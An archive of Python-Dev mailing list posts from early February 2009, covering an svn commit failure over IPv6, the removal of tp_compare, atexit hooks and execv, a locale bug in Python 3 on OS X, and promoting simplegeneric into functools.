From greg at krypto.org Sun Feb 1 00:00:37 2009 From: greg at krypto.org (Gregory P. Smith) Date: Sat, 31 Jan 2009 15:00:37 -0800 Subject: [Python-Dev] Subversion upgraded to 1.5 In-Reply-To: <52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com> References: <49847292.5080401@v.loewis.de> <52dc1c820901311335h17ab0ed3h220b0bcbc75f274@mail.gmail.com> <4984CAE8.1050509@v.loewis.de> <52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com> Message-ID: <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com> fwiw, I just turned off IPv6 and it worked fine. That makes no sense to me given that the ssh connection worked fine either way. Does svn itself try and log source addresses somehow when using svn+ssh and balk on IPv6 addrs? Weird. regardless, this is presumably not related to your subversion upgrade. I don't think I've done any commits from these hosts since I got IPv6 connectivity, only updates. -gps On Sat, Jan 31, 2009 at 2:49 PM, Gregory P. Smith wrote: > I'm just trying to commit the following to trunk: > > Sending Lib/test/test_socket.py > Sending Misc/NEWS > Sending Modules/socketmodule.c > Transmitting file data ... > > I have another svn commit attempt which appesrs to be hanging and destined > to timeout running right now. > > ssh -v pythondev at svn.python.org works fine. > > -gps > > > On Sat, Jan 31, 2009 at 2:04 PM, "Martin v. L?wis" wrote: > >> > any ideas? >> >> Assuming you reported this right after it happened - sorry, no. >> I can't find anything relevant in the log files (although a >> precise time of failure would have helped). >> >> Does a plain "ssh pythondev at svn.python.org" still work? >> >> What path did you try to check into? >> >> Regards, >> Martin >> > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin at v.loewis.de Sun Feb 1 00:13:42 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 01 Feb 2009 00:13:42 +0100 Subject: [Python-Dev] Subversion upgraded to 1.5 In-Reply-To: <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com> References: <49847292.5080401@v.loewis.de> <52dc1c820901311335h17ab0ed3h220b0bcbc75f274@mail.gmail.com> <4984CAE8.1050509@v.loewis.de> <52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com> <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com> Message-ID: <4984DB26.8070300@v.loewis.de> > fwiw, I just turned off IPv6 and it worked fine. That makes no sense to > me given that the ssh connection worked fine either way. Does svn > itself try and log source addresses somehow when using svn+ssh and balk > on IPv6 addrs? No. subversion ignores the network layer. > Weird. regardless, this is presumably not related to your subversion > upgrade. I don't think I've done any commits from these hosts since I > got IPv6 connectivity, only updates. That alone can't be the problem. I tried to commit something over IPv6, and it worked just fine. Regards, Martin From martin at v.loewis.de Sun Feb 1 00:19:30 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 01 Feb 2009 00:19:30 +0100 Subject: [Python-Dev] Subversion upgraded to 1.5 In-Reply-To: <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com> References: <49847292.5080401@v.loewis.de> <52dc1c820901311335h17ab0ed3h220b0bcbc75f274@mail.gmail.com> <4984CAE8.1050509@v.loewis.de> <52dc1c820901311449w6b487195t55f249ca88d163f2@mail.gmail.com> <52dc1c820901311500s61f5643fs81748f4013c80075@mail.gmail.com> Message-ID: <4984DC82.4010803@v.loewis.de> > Weird. regardless, this is presumably not related to your subversion > upgrade. I don't think I've done any commits from these hosts since I > got IPv6 connectivity, only updates. I got some messages in kern.log which might be relevant Jan 31 23:55:36 dinsdale kernel: IPv6: sending pkt_too_big to self Jan 31 23:55:36 dinsdale kernel: IPv6: sending pkt_too_big to self Feb 1 00:02:57 dinsdale kernel: IPv6: sending pkt_too_big to self Of course, it is five minutes off your connect attempt (IIUC), so it also might be irrelevant. Regards, Martin From martin at v.loewis.de Sun Feb 1 00:22:13 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Sun, 01 Feb 2009 00:22:13 +0100 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: <57543.1233439608@parc.com> References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> <57543.1233439608@parc.com> Message-ID: <4984DD25.7070406@v.loewis.de> > _ssl.c does indeed use int or long in various places. I'm not sure how > far it can go with Py_ssize_t -- is OpenSSL 64-bit clean? That's irrelevant for the issue at hand (PY_SSIZE_T_CLEAN). What matters is that s# etc converters output Py_ssize_t (unless in deprecated compatibility mode); if you think you then need to truncate to 32 bits, there should be explicit code that tests for truncation and raises a Python exception if appropriate. Regards, Martin From rocky at gnu.org Sun Feb 1 01:55:26 2009 From: rocky at gnu.org (Rocky Bernstein) Date: Sat, 31 Jan 2009 19:55:26 -0500 Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not, should _run_exitfuncs() be private? Message-ID: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com> As a hobby I've been writing a debugger. One of the commands,"restart", works by calling an execv(). You may need to do this when the program you are debugging is threaded or when one needs to ensure that all program state is reinitialized. Recently, I added remote debugging via TCP sockets and noticed that execv() in Python doesn't arrange exit hooks to get called. Should it? One can run _run_exitfuncs() from the atexit module, but the leading underscore of the function call suggests it is private. Should it be? Thanks From ncoghlan at gmail.com Sun Feb 1 02:18:51 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sun, 01 Feb 2009 11:18:51 +1000 Subject: [Python-Dev] Fwd: Partial function application 'from the right' In-Reply-To: References: <64D950B1-C422-45CE-BBF0-AAA3764BE31B@lericson.se> Message-ID: <4984F87B.6070500@gmail.com> Ludvig Ericson wrote: > Begin forwarded message: >> From: Ludvig Ericson >> Or even >> >> ? = partial.skip >> split_one = partial(str.split, ?, 1) That won't work: >>> ... = 1 File "", line 1 SyntaxError: can't assign to Ellipsis Like None/True/False, "..." is a constant that can't be modified (you can assign to the *name* Ellipsis, but the "..." syntax will always refer to the specific object). Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From guido at python.org Sun Feb 1 04:28:57 2009 From: guido at python.org (Guido van Rossum) Date: Sat, 31 Jan 2009 19:28:57 -0800 Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not, should _run_exitfuncs() be private? In-Reply-To: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com> References: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com> Message-ID: On Sat, Jan 31, 2009 at 4:55 PM, Rocky Bernstein wrote: > As a hobby I've been writing a debugger. One of the > commands,"restart", works by calling an execv(). You may need to do > this when > the program you are debugging is threaded or when one needs to ensure > that all program state is reinitialized. > > Recently, I added remote debugging via TCP sockets and noticed that > execv() in Python doesn't arrange exit hooks to get called. Should it? > > One can run _run_exitfuncs() from the atexit module, but the leading > underscore of the function call suggests it is private. Should it be? Depending on the use for the exit function you might or might not want it run at the occasion of exec*(). E.g. I imagine that in a typical fork() + exec*() scenario, calling the exit functions in the child process would be a mistake. So I don't think the hooks should be called by default. However you are welcome to call the function (leading underscore and all) if it helps in your case. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From ncoghlan at gmail.com Sun Feb 1 08:30:30 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sun, 01 Feb 2009 17:30:30 +1000 Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not, should _run_exitfuncs() be private? In-Reply-To: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com> References: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com> Message-ID: <49854F96.5080700@gmail.com> Rocky Bernstein wrote: > As a hobby I've been writing a debugger. One of the > commands,"restart", works by calling an execv(). You may need to do > this when > the program you are debugging is threaded or when one needs to ensure > that all program state is reinitialized. > > Recently, I added remote debugging via TCP sockets and noticed that > execv() in Python doesn't arrange exit hooks to get called. Should it? > > One can run _run_exitfuncs() from the atexit module, but the leading > underscore of the function call suggests it is private. Should it be? One of the advantages in Python handling 'private' APIs by convention rather than having it enforced by the compiler is that for some applications (like debuggers), a higher degree of coupling is more appropriate than sticking strictly to the public, guaranteed stable API. So I'd say call the private API anyway. While in theory it *could* change, it probably won't, and the use case is too esoteric to justify the overhead of making it public. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From rocky at gnu.org Sun Feb 1 11:17:29 2009 From: rocky at gnu.org (rocky at gnu.org) Date: Sun, 1 Feb 2009 05:17:29 -0500 Subject: [Python-Dev] Should execv() call _run_exitfuncs()? If not, should _run_exitfuncs() be private? In-Reply-To: References: <6cd6de210901311655r3e6c20f6ud4d45e3214b58078@mail.gmail.com> Message-ID: <18821.30393.827744.923019@panix5.panix.com> Guido van Rossum writes: > Depending on the use for the exit function you might or might not want > it run at the occasion of exec*(). E.g. I imagine that in a typical > fork() + exec*() scenario, calling the exit functions in the child > process would be a mistake. > > So I don't think the hooks should be called by default. However you > are welcome to call the function (leading underscore and all) if it > helps in your case. Ok - got it. Thanks, everyone, for the clarification(s). From dickinsm at gmail.com Sun Feb 1 13:22:09 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Sun, 1 Feb 2009 12:22:09 +0000 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: <4984C276.70100@v.loewis.de> References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> Message-ID: <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> On Sat, Jan 31, 2009 at 9:28 PM, "Martin v. L?wis" wrote: > tp_reserved sounds fine. In 3.0.1, filling it with a function pointer > should give no error, since that would be a binary-incompatible change. I'm not sure I understand you here. Are you saying that in your opinion it is safe to change the type of tp_reserved from (cmpfunc *) to some other (dummy) function pointer? I now realize (thanks to your message) that changing the type to (void *) isn't entirely safe, since sizeof(void*) may be different from sizeof(cmpfunc*) on some platforms. Mark From guido at python.org Sun Feb 1 17:21:07 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 1 Feb 2009 08:21:07 -0800 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> Message-ID: On Sun, Feb 1, 2009 at 4:22 AM, Mark Dickinson wrote: > On Sat, Jan 31, 2009 at 9:28 PM, "Martin v. L?wis" wrote: > >> tp_reserved sounds fine. In 3.0.1, filling it with a function pointer >> should give no error, since that would be a binary-incompatible change. > > I'm not sure I understand you here. Are you saying that in your > opinion it is safe to change the type of tp_reserved > from (cmpfunc *) to some other (dummy) function pointer? Sounds like Martin is referring to your suggestion to raise an exception when initializing a type that has a non-NULL thing here. I agree with him. > I now realize (thanks to your message) that changing the type > to (void *) isn't entirely safe, since sizeof(void*) may be > different from sizeof(cmpfunc*) on some platforms. I don't think it matters on any platforms we care about. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From dickinsm at gmail.com Sun Feb 1 18:00:58 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Sun, 1 Feb 2009 17:00:58 +0000 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> Message-ID: <5c6f2a5d0902010900s8061ffbt49be185b4e597966@mail.gmail.com> On Sun, Feb 1, 2009 at 4:21 PM, Guido van Rossum wrote: > Sounds like Martin is referring to your suggestion to raise an > exception when initializing a type that has a non-NULL thing here. I > agree with him. Got it. Thank you. Mark From martin at v.loewis.de Sun Feb 1 19:03:58 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Sun, 01 Feb 2009 19:03:58 +0100 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> Message-ID: <4985E40E.2000903@v.loewis.de> Mark Dickinson wrote: > On Sat, Jan 31, 2009 at 9:28 PM, "Martin v. L?wis" wrote: > >> tp_reserved sounds fine. In 3.0.1, filling it with a function pointer >> should give no error, since that would be a binary-incompatible change. > > I'm not sure I understand you here. Are you saying that in your > opinion it is safe to change the type of tp_reserved > from (cmpfunc *) to some other (dummy) function pointer? No. I thought someone (you?) proposed that it should cause a runtime error if a type definitions fills the tp_compare slot. I say that 3.0.1 must not produce such an error. > I now realize (thanks to your message) that changing the type > to (void *) isn't entirely safe, since sizeof(void*) may be > different from sizeof(cmpfunc*) on some platforms. Do you know of a platform where this is actually the case? I wouldn't mind making that an #error (i.e. having it fail at compile time already). Regards, Martin From reto-ml-python-dev at schuettel.ch Sun Feb 1 19:44:41 2009 From: reto-ml-python-dev at schuettel.ch (=?ISO-8859-1?Q?Reto_Sch=FCttel?=) Date: Sun, 1 Feb 2009 19:44:41 +0100 Subject: [Python-Dev] Strange locale problem with Python 3 Message-ID: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch> Hi While helping Brandon Rhodes to port PyEphem[1] to Python 3 we struggled over a strange locale-related problem on OS X. PyEphem is a library which can do astronomical computations like tracking the position of stars, planets and earth satellites relative to the earth's position. When testing out the Python 3 release of PyEphem I noticed that on my OS X laptop a lot of calculations were wrong (not completely wrong, but clearly not accurate) compared to Python 2.5. We (well mostly Brandon) were able to track down the problem to the TLE parser (TLE are data file containing the orbital elements of an object) which appears to read most values wrong with python 3. In fact it cut of the decimal parts of all floats (1.123232 got 1, etc). Manually setting LANG and LC_ALL to C solved the problem. It turns out that some parts of Python 3 got more locale dependent on some platforms. The only platform I am aware of is OS X, on Linux Python 3 appears to behave like Python 2.x did. In case of PyEphem the problem was in the C extension which got more locale dependent, for example atof() or scanf() with Python 3 now expected the german decimal-delimiter ',' instead of the '.' in floats (3.14 vs. 3,14). On the other hand the constructor of float still expects '.' all the time. But the built-in function strptime() honors locales with Python 3 and expects german week day. I've written a simple script and a simple C extension which illustrates the problem. Both the extension and the script run python 2.x and python 3, so you can easily compare the result while executing the script in different environments. I was only able to reproduce the problem on OS X (10.5) and using a german locale like "de_CH.UTF-8". When manually setting LC_ALL=C, the differences disappears. I can't imagine that his behavior was really intended, and I hope the test case helps you guys to identify/fix this problem. Download the test case from: http://github.com/retoo/py3k-locale-problem/tarball/master or get it using git: git://github.com/retoo/py3k-locale-problem.git You can use the following steps to build it: $ python2.5 setup.py build $ python3.0 setup.py build To run the tests with python 2.5, enter: $ (cd build/lib*-2.5; python2.5 py3k_locale_problem.py) ... for 3.0 ... $ (cd build/lib*-3.0; python3.0 py3k_locale_problem.py) In the file 'results.txt' you can see the output from my OS X system. Cheers, Reto Sch?ttel [1] http://rhodesmill.org/pyephem/ From aahz at pythoncraft.com Sun Feb 1 20:40:26 2009 From: aahz at pythoncraft.com (Aahz) Date: Sun, 1 Feb 2009 11:40:26 -0800 Subject: [Python-Dev] Strange locale problem with Python 3 In-Reply-To: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch> References: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch> Message-ID: <20090201194026.GA10906@panix.com> On Sun, Feb 01, 2009, Reto Sch?ttel wrote: > > While helping Brandon Rhodes to port PyEphem[1] to Python 3 we > struggled over a strange locale-related problem on OS X. Please file a report at bugs.python.org -- that's the only way to ensure that this gets tracked. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From dickinsm at gmail.com Sun Feb 1 21:33:18 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Sun, 1 Feb 2009 20:33:18 +0000 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: <4985E40E.2000903@v.loewis.de> References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> <4985E40E.2000903@v.loewis.de> Message-ID: <5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com> On Sun, Feb 1, 2009 at 6:03 PM, "Martin v. L?wis" wrote: > No. I thought someone (you?) proposed that it should cause a runtime > error if a type definitions fills the tp_compare slot. I say that > 3.0.1 must not produce such an error. Thanks. I'm with you now. I'll get rid of the relevant bit of code. > > [...] sizeof(void*) may be > > different from sizeof(cmpfunc*) on some platforms. > Do you know of a platform where this is actually the case? I don't, so if no-one else does either then there's probably little point worrying about it. The best reference I could find (besides the C standards themselves, and in particular section 6.3.2.3 of the C99 standard) was an ancient and short discussion on comp.std.c (starting June 21, 1998, subject "Q: void pointers and function pointers") where some of the posters claimed to have encountered such platforms. Mark From ludvig at lericson.se Mon Feb 2 00:14:09 2009 From: ludvig at lericson.se (Ludvig Ericson) Date: Mon, 2 Feb 2009 00:14:09 +0100 Subject: [Python-Dev] Fwd: Partial function application 'from the right' In-Reply-To: <4984F87B.6070500@gmail.com> References: <64D950B1-C422-45CE-BBF0-AAA3764BE31B@lericson.se> <4984F87B.6070500@gmail.com> Message-ID: <391D073B-A83E-4906-A804-3CD2FB0CC756@lericson.se> Nick Coghlan wrote: > That won't work: > >>>> ... = 1 > File "", line 1 > SyntaxError: can't assign to Ellipsis Well, I was trying to be funny and was under the impression that Python 3.0 had Unicode identifiers, but apparently it doesn't. (I used ?, not ...) - Ludvig From ideasman42 at gmail.com Mon Feb 2 06:12:37 2009 From: ideasman42 at gmail.com (Campbell Barton) Date: Sun, 1 Feb 2009 21:12:37 -0800 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? Message-ID: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> Hi, I have been writing a new C api that can build with both python 2.6 and 3.0 I found that when building with python 2.6, doing "a==b" between 2 different pyrna_struct_Type's would run tp_compare But with python 3.0, "a==b" will always be false and tp_compare function would not even run. The only way to get it to run the tp_compare function was to do "cmp(a, b)" however Id like to be able to use == still. The only way I could get "a==b" to work in python 3.0 was to add a tp_richcompare function which runs tp_compare with Py_CmpToRich() anyway Is this the intended behavior? - if so its important for external C API's to be updated to support this. Included the PyType below with some relevant details. I looked at other Python 3.0 types but could not see why this would happen. // ----snip, // initialized with PyType_Ready if( PyType_Ready( &pyrna_struct_Type ) < 0 ) return NULL; // header definition for BPy_StructRNA typedef struct { PyObject_HEAD /* required python macro */ PointerRNA ptr; int freeptr; /* needed in some cases if ptr.data is created on the fly, free when deallocing */ } BPy_StructRNA; // PyType /*-----------------------BPy_StructRNA method def------------------------------*/ PyTypeObject pyrna_struct_Type = { PyVarObject_HEAD_INIT(NULL, 0) "StructRNA", /* tp_name */ sizeof( BPy_StructRNA ), /* tp_basicsize */ 0, /* tp_itemsize */ /* methods */ ( destructor ) pyrna_struct_dealloc,/* tp_dealloc */ NULL, /* printfunc tp_print; */ NULL, /* getattrfunc tp_getattr; */ NULL, /* setattrfunc tp_setattr; */ ( cmpfunc ) pyrna_struct_compare, /* tp_compare */ ( reprfunc ) pyrna_struct_repr, /* tp_repr */ /* Method suites for standard classes */ NULL, /* PyNumberMethods *tp_as_number; */ NULL, /* PySequenceMethods *tp_as_sequence; */ NULL, /* PyMappingMethods *tp_as_mapping; */ /* More standard operations (here for binary compatibility) */ ( hashfunc )pyrna_struct_hash, /* hashfunc tp_hash; */ NULL, /* ternaryfunc tp_call; */ NULL, /* reprfunc tp_str; */ ( getattrofunc ) pyrna_struct_getattro, /* getattrofunc tp_getattro; */ ( setattrofunc ) pyrna_struct_setattro, /* setattrofunc tp_setattro; */ /* Functions to access object as input/output buffer */ NULL, /* PyBufferProcs *tp_as_buffer; */ /*** Flags to define presence of optional/expanded features ***/ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* long tp_flags; */ NULL, /* char *tp_doc; Documentation string */ /*** Assigned meaning in release 2.0 ***/ /* call function for all accessible objects */ NULL, /* traverseproc tp_traverse; */ /* delete references to contained objects */ NULL, /* inquiry tp_clear; */ /*** Assigned meaning in release 2.1 ***/ /*** rich comparisons ***/ (richcmpfunc)pyrna_struct_richcmp, /* richcmpfunc tp_richcompare; */ /*** weak reference enabler ***/ 0, /* long tp_weaklistoffset; */ /*** Added in release 2.2 ***/ /* Iterators */ NULL, /* getiterfunc tp_iter; */ NULL, /* iternextfunc tp_iternext; */ /*** Attribute descriptor and subclassing stuff ***/ pyrna_struct_methods, /* struct PyMethodDef *tp_methods; */ NULL, /* struct PyMemberDef *tp_members; */ NULL, /* struct PyGetSetDef *tp_getset; */ NULL, /* struct _typeobject *tp_base; */ NULL, /* PyObject *tp_dict; */ NULL, /* descrgetfunc tp_descr_get; */ NULL, /* descrsetfunc tp_descr_set; */ 0, /* long tp_dictoffset; */ NULL, /* initproc tp_init; */ NULL, /* allocfunc tp_alloc; */ pyrna_struct_new, /* newfunc tp_new; */ /* Low-level free-memory routine */ NULL, /* freefunc tp_free; */ /* For PyObject_IS_GC */ NULL, /* inquiry tp_is_gc; */ NULL, /* PyObject *tp_bases; */ /* method resolution order */ NULL, /* PyObject *tp_mro; */ NULL, /* PyObject *tp_cache; */ NULL, /* PyObject *tp_subclasses; */ NULL, /* PyObject *tp_weaklist; */ NULL }; -- - Campbell From tjreedy at udel.edu Mon Feb 2 07:53:56 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 02 Feb 2009 01:53:56 -0500 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? In-Reply-To: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> Message-ID: Campbell Barton wrote: > Hi, I have been writing a new C api that can build with both python 2.6 and 3.0 Questions about using current releases should be directed to the python-list (or comp.lang.python or gmane.comp.python.general), not python-dev, which is for development of future releases. > I found that when building with python 2.6, doing "a==b" between 2 > different pyrna_struct_Type's would run tp_compare > > But with python 3.0, "a==b" will always be false and tp_compare > function would not even run. > The only way to get it to run the tp_compare function was to do > "cmp(a, b)" however Id like to be able to use == still. In 3.0, the build-in cmp() should have been removed and will be for 3.0.1. Do not use it. I believe the tp_compare slot should not be used either. It will become reserved. It will not be removed only because that would change the binary layout. So use rich comparisons. From niklas.norrthon at esri-sgroup.se Mon Feb 2 08:52:28 2009 From: niklas.norrthon at esri-sgroup.se (Niklas Norrthon) Date: Mon, 2 Feb 2009 08:52:28 +0100 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: <5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com> References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> <4985E40E.2000903@v.loewis.de> <5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com> Message-ID: <0B721E6523DFBE4682C8449689421B8160173A0358@skis-mail.esri-sgroup.com> On Sun, Feb 1, 2009 at 21:33, "Mark Dickinson" wrote: > On Sun, Feb 1, 2009 at 6:03 PM, "Martin v. L?wis" wrote: > > [...] sizeof(void*) may be > > different from sizeof(cmpfunc*) on some platforms. > Do you know of a platform where this is actually the case? > I don't, so if no-one else does either then there's probably little > point worrying about it. The best reference I could find (besides > the C standards themselves, and in particular section 6.3.2.3 of > the C99 standard) was an ancient and short discussion on > comp.std.c (starting June 21, 1998, subject > "Q: void pointers and function pointers") where some of the > posters claimed to have encountered such platforms. I do know of at least one such platform. Sure it's a bit dated, and probably not relevant for the python development, but definitely not exotic or rare! Don't you rememeber the PC:s in the late 1980th? It was based on Intel's 80286-processor, and Microsoft's C compiler supported three or four different memory models, called things like "TINY", "SMALL", "LARGE", and "HUGE". Most of these memory models had different sized data and function pointers. Niklas Norrthon From walter at livinglogic.de Mon Feb 2 09:33:00 2009 From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Mon, 02 Feb 2009 09:33:00 +0100 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <20090129142021.GA8996@panix.com> <4981BBB7.50502@voidspace.org.uk> <498230C7.2040403@pearwood.info> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> Message-ID: <4986AFBC.3050701@livinglogic.de> Paul Moore wrote: > 2009/1/30 Walter D?rwald : >> Paul Moore wrote: >> >>> [...] >>> In all honesty, I think pkgutil.simplegeneric should be documented, >>> exposed, and moved to a library of its own[1]. >> http://pypi.python.org/pypi/simplegeneric > > Thanks, I was aware of that. I wasn't aware of the fact that simplegeneric is part of the stdlib, albeit in a strange spot. > I assume that the barrier to getting this > into the stdlib will be higher than to simply exposing an > implementation already available in the stdlib. At least we'd need documentation and tests. And of course the code must be stable and there must be someone willing to maintain it (then again it's less than 40 lines of code). There should be enough third-party module that use it to justify making simplegeneric an official part of the stdlib. The best spot for generic() is probably in the functools module. > To be honest, all I > would like is for these regular "let's have another special method" > discussions to become unnecessary... Me too. Servus, Walter From hfuerstenau at gmx.net Mon Feb 2 09:33:53 2009 From: hfuerstenau at gmx.net (=?UTF-8?B?SGFnZW4gRsO8cnN0ZW5hdQ==?=) Date: Mon, 02 Feb 2009 09:33:53 +0100 Subject: [Python-Dev] Fwd: Partial function application 'from the right' In-Reply-To: <391D073B-A83E-4906-A804-3CD2FB0CC756@lericson.se> References: <64D950B1-C422-45CE-BBF0-AAA3764BE31B@lericson.se> <4984F87B.6070500@gmail.com> <391D073B-A83E-4906-A804-3CD2FB0CC756@lericson.se> Message-ID: <4986AFF1.1080100@gmx.net> Ludvig Ericson wrote: > Well, I was trying to be funny and was under the impression that Python > 3.0 had Unicode identifiers, but apparently it doesn't. (I used ?, not ...) It does, but they may not contain characters of the category "Punctuation, other": >>> import unicodedata >>> unicodedata.category("?") 'Po' - Hagen From rocky at gnu.org Mon Feb 2 09:52:23 2009 From: rocky at gnu.org (Rocky Bernstein) Date: Mon, 2 Feb 2009 03:52:23 -0500 Subject: [Python-Dev] Should there be a source-code checksum in module objects? Message-ID: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com> As I've mentioned, I've been re-examining from ground up the whole state of affairs in writing a debugger. One of the challenges of a debugger or any source-code analysis tool is verifying that the source-code that the tool is reporting on corresponds to the compiled object under execution. (For debuggers, this problem becomes more likely to occur when you are debugging on a computer that isn't the same as the computer where the code is running.) Is there a checksum of the source text computed and stored in compilation? If not, should there be one? From ncoghlan at gmail.com Mon Feb 2 11:31:05 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Mon, 02 Feb 2009 20:31:05 +1000 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <4986AFBC.3050701@livinglogic.de> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <20090129142021.GA8996@panix.com> <4981BBB7.50502@voidspace.org.uk> <498230C7.2040403@pearwood.info> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> Message-ID: <4986CB69.3020501@gmail.com> Walter D?rwald wrote: > Paul Moore wrote: >> 2009/1/30 Walter D?rwald : >>> Paul Moore wrote: >>> >>>> [...] >>>> In all honesty, I think pkgutil.simplegeneric should be documented, >>>> exposed, and moved to a library of its own[1]. >>> http://pypi.python.org/pypi/simplegeneric >> >> Thanks, I was aware of that. > > I wasn't aware of the fact that simplegeneric is part of the stdlib, > albeit in a strange spot. Officially, it isn't - it's an implementation detail of pkgutil. As such, a leading underscore wouldn't have hurt, but the lack of mention in the pkgutil documentation (or pkgutil.__all__) is hopefully enough of a hint that it really isn't intended as a general purpose programming tool. >> I assume that the barrier to getting this >> into the stdlib will be higher than to simply exposing an >> implementation already available in the stdlib. > > At least we'd need documentation and tests. And of course the code must > be stable and there must be someone willing to maintain it (then again > it's less than 40 lines of code). > > There should be enough third-party module that use it to justify making > simplegeneric an official part of the stdlib. > > The best spot for generic() is probably in the functools module. >> To be honest, all I >> would like is for these regular "let's have another special method" >> discussions to become unnecessary... > > Me too. A trio of patches that: 1. promoted simplegeneric from pkgutil to functools (with appropriate documentation and tests) 2. changed pkgutil to use functools.simplegeneric instead of its current internal version 3. updated pprint to be a generic function (and hence more easily extensible via the ABC mechanism, while still keeping it's current special cases as necessary) would certainly be an interesting thing to see (with patch 3 being the poster child for why patch 1 is a good idea). The major virtue of such a basic generic framework is that it is much easier to explain than the all-singing all-dancing overloading system described in PEP 3124. 